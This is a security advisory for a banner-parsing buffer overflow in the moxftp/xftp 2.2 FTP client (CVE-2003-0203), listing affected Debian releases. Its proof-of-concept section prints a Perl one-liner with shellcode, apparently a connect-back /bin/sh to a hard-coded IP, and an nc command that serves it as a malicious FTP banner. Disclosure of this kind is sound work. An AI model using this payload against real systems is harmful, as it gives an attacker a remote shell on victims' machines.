moxftp Banner Parsing Buffer Overflow Vulnerability

BID:6921

Info

moxftp Banner Parsing Buffer Overflow Vulnerability

Bugtraq ID: 6921
Class: Boundary Condition Error
CVE: CVE-2003-0203
Remote: Yes
Local: No
Published: Feb 24 2003 12:00AM
Updated: Jul 11 2009 08:06PM
Credit: Discovery of this vulnerability credited to Knud Erik Højgaard.
Vulnerable: xftp xftp 2.2
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
+ Debian Linux 2.2 sparc
 + Debian Linux 2.2 powerpc
 + Debian Linux 2.2 IA-32
 + Debian Linux 2.2 arm
 + Debian Linux 2.2 alpha
 + Debian Linux 2.2 68k
 + Debian Linux 2.2
+ moxftp moxftp 2.2
moxftp moxftp 2.2
Not Vulnerable:

Discussion

moxftp Banner Parsing Buffer Overflow Vulnerability

A buffer overflow vulnerability has been reported for moxftp. The vulnerability occurs when moxftp is parsing 'Welcome' banner messages from remote FTP servers. When moxftp receives an overly long FTP banner, it will trigger the overflow condition.

An attacker can exploit this vulnerability by enticing a victim moxftp user to connect to a malicious FTP server.

Any attacker-supplied code will be executed on the victim system with the privileges of the moxftp process.

This vulnerability also affects xftp which is based upon moxftp.

Exploit / POC

moxftp Banner Parsing Buffer Overflow Vulnerability

The following proof of concept was provided:

$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" x 100 . "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\ x9d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\ xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\ x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" .
"\n"' > file
# nc -l -p 21 < file

The following exploit is available:

Solution / Fix

moxftp Banner Parsing Buffer Overflow Vulnerability

Solution:
Fixes available:


xftp xftp 2.2

References

moxftp Banner Parsing Buffer Overflow Vulnerability

References:

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